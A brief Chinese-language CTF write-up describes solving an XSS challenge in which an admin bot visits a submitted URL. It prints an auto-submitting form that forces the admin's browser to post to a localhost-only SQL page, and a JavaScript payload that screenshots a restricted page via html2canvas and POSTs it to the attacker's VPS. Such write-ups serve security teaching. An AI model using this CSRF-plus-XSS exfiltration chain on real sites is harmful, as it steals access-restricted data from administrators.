写在前面
巅峰极客挑战赛中,做到柠檬师傅出的题,由于自己的js水平太渣渣,这个题做了很久,于是赶快写文记录自己的解题过程。
描述
主要是XSS,网站中允许输入一个地址,管理员会使用chrome浏览器打开该网页。并且该网站存在一个能写入js代码的页面,最后flag藏在一个页面中,该页面在服务器配置时设置只允许127.0.0.1访问,其余为403错误。
思路
通过对该网站写入js代码,让127.0.0.1访问我们写好js代码的页面,最后得到flag页面。
过程
首先,先写一个自动提交form表单的页面
<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>
当我们让管理员访问这个页面的时候,管理员就会post数据到本地的runsql.php页面,这时runsql.php页面上就会有我们的js数据
接下来构造js:
<html>
<body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
<script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
<script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","your vsp",true);
xmlhttp.send(canvas.toDataURL());
});
</script>
</body>
</html>
这个页面会自动获取同源网页的页面,然后发送到vps上。最后就能得到flag了。
admin_zzzz666.php
网友评论